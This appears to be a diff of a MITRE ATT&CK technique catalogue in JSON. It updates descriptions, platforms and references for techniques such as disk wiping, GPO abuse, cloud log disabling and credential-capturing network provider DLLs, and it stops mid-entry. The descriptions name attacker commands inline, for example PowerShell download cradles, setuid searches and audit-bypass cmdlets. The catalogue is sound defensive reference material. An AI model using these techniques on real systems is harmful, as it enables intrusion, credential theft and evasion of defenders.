@@ -9713,7 +9772,6 @@ "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx", "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html", "https://attack.mitre.org/techniques/T1552/001", - "https://capec.mitre.org/data/definitions/639.html", "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48", "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/", "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/" @@ -9729,7 +9787,7 @@ "value": "Credentials In Files - T1552.001" }, { - "description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)", + "description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)", "meta": { "external_id": "T1561.002", "kill_chain": [ @@ -9745,7 +9803,8 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "Network" ], "refs": [ "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/", @@ -9753,6 +9812,7 @@ "https://docs.microsoft.com/sysinternals/downloads/sysmon", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf", "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668", "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html", "https://www.symantec.com/connect/blogs/shamoon-attacks" ] @@ -9961,7 +10021,7 @@ "value": "Domain Generation Algorithms - T1637.001" }, { - "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)", + "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)", "meta": { "external_id": "T1484.001", "kill_chain": [ @@ -10030,7 +10090,7 @@ "value": "Process Argument Spoofing - T1564.010" }, { - "description": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgit bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)", + "description": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)", "meta": { "external_id": "T1548.001", "kill_chain": [ @@ -10085,8 +10145,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1498/001", - "https://capec.mitre.org/data/definitions/125.html", - "https://capec.mitre.org/data/definitions/486.html", "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged" ] @@ -10119,8 +10177,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1499/001", - "https://capec.mitre.org/data/definitions/469.html", - "https://capec.mitre.org/data/definitions/482.html", "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", "https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/", @@ -10466,9 +10522,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1499/002", - "https://capec.mitre.org/data/definitions/488.html", - "https://capec.mitre.org/data/definitions/489.html", - "https://capec.mitre.org/data/definitions/528.html", "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", "https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/", @@ -10690,7 +10743,7 @@ "value": "Domain Generation Algorithms - T1568.002" }, { - "description": "An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. \n\nCloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)", + "description": "An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable logging to avoid detection of their activities.\n\nFor example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user’s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)", "meta": { "external_id": "T1562.008", "kill_chain": [ @@ -10698,17 +10751,23 @@ ], "mitre_data_sources": [ "Cloud Service: Cloud Service Disable", - "Cloud Service: Cloud Service Modification" + "Cloud Service: Cloud Service Modification", + "User Account: User Account Modification" ], "mitre_platforms": [ - "IaaS" + "IaaS", + "SaaS", + "Google Workspace", + "Azure AD", + "Office 365" ], "refs": [ "https://attack.mitre.org/techniques/T1562/008", "https://cloud.google.com/logging/docs/audit/configure-data-access", "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html", "https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete", - "https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/" + "https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/", + "https://www.darkreading.com/threat-intelligence/incident-responders-explore-microsoft-365-attacks-in-the-wild/d/d-id/1341591" ] }, "related": [ @@ -10890,7 +10949,6 @@ "refs": [ "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", "https://attack.mitre.org/techniques/T1553/004", - "https://capec.mitre.org/data/definitions/479.html", "https://docs.microsoft.com/sysinternals/downloads/sigcheck", "https://en.wikipedia.org/wiki/Root_certificate", "https://objective-see.com/blog/blog_0x26.html", @@ -11101,8 +11159,7 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1566/003", - "https://capec.mitre.org/data/definitions/163.html" + "https://attack.mitre.org/techniques/T1566/003" ] }, "related": [ @@ -11229,7 +11286,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1547/004", "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order", - "https://capec.mitre.org/data/definitions/579.html", "https://technet.microsoft.com/en-us/sysinternals/bb963902" ] }, @@ -11468,8 +11524,6 @@ "http://www.nth-dimension.org.uk/pub/BTL.pdf", "https://attack.mitre.org/techniques/T1574/006", "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/", - "https://capec.mitre.org/data/definitions/13.html", - "https://capec.mitre.org/data/definitions/640.html", "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html", "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191", "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/", @@ -11489,7 +11543,7 @@ "value": "Dynamic Linker Hijacking - T1574.006" }, { - "description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)", + "description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).", "meta": { "external_id": "T1564.008", "kill_chain": [ @@ -11511,6 +11565,7 @@ "https://attack.mitre.org/techniques/T1564/008", "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps", "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps", + "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules", "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac", "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59", "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154", @@ -11557,6 +11612,72 @@ "uuid": "0708ae90-d0eb-4938-9a76-d0fc94f6eec1", "value": "Revert Cloud Instance - T1578.004" }, + { + "description": "Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)", + "meta": { + "external_id": "T1556.008", + "kill_chain": [ + "mitre-attack:credential-access", + "mitre-attack:defense-evasion", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "File: File Creation", + "Process: OS API Execution", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1556/008", + "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", + "https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify", + "https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api", + "https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy", + "https://www.youtube.com/watch?v=ggY3srD9dYs" + ] + }, + "related": [ + { + "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", + "type": "subtechnique-of" + } + ], + "uuid": "90c4a591-d02d-490b-92aa-619d9701ac04", + "value": "Network Provider DLL - T1556.008" + }, + { + "description": "Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders’ awareness of malicious activity.(Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.\n\nRather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). An adversary can also present a “healthy” system status even after infection. This can be abused to enable further malicious activity by delaying defender responses.\n\nFor example, adversaries may show a fake Windows Security GUI and tray icon with a “healthy” system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta)", + "meta": { + "external_id": "T1562.011", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process: Process Creation", + "Sensor Health: Host Status" + ], + "mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1562/011", + "https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/" + ] + }, + "related": [ + { + "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", + "type": "subtechnique-of" + } + ], + "uuid": "bef8aaee-961d-4359-a308-4c2182bcedff", + "value": "Spoof Security Alerting - T1562.011" + }, { "description": "Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)\n\nWithin an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name key indicates an arbitrary name assigned by the creator and the Exec key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)\n\nAdversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.", "meta": { @@ -11604,7 +11725,7 @@ "value": "Identify business processes/tempo - T1280" }, { - "description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.", + "description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)", "meta": { "external_id": "T1033", "kill_chain": [ @@ -11624,11 +11745,13 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "Network" ], "refs": [ "https://attack.mitre.org/techniques/T1033", - "https://capec.mitre.org/data/definitions/577.html" + "https://us-cert.cisa.gov/ncas/alerts/TA18-106A", + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html" ] }, "uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", @@ -11810,7 +11933,7 @@ "value": "Obtain booter/stressor subscription - T1396" }, { - "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.(Citation: Prevailion DarkWatchman 2021)", + "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)\n\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.", "meta": { "external_id": "T1010", "kill_chain": [ @@ -11828,7 +11951,8 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1010", - "https://www.prevailion.com/darkwatchman-new-fileless-techniques/" + "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", + "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/" ] }, "uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", @@ -12005,8 +12129,7 @@ "Linux" ], "refs": [ - "https://attack.mitre.org/techniques/T1007", - "https://capec.mitre.org/data/definitions/574.html" + "https://attack.mitre.org/techniques/T1007" ] }, "uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", @@ -12034,7 +12157,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1080", - "https://capec.mitre.org/data/definitions/562.html", "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html" ] }, @@ -12088,7 +12210,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1120", - "https://capec.mitre.org/data/definitions/646.html", "https://linuxhint.com/list-usb-devices-linux/", "https://ss64.com/osx/system_profiler.html" ] @@ -12235,7 +12356,7 @@ "value": "Device Administrator Permissions - T1401" }, { - "description": "Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016)\n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)", + "description": "Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016)\n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160), and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)", "meta": { "external_id": "T1105", "kill_chain": [ @@ -12334,7 +12455,7 @@ "value": "Application Deployment Software - T1017" }, { - "description": "Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, 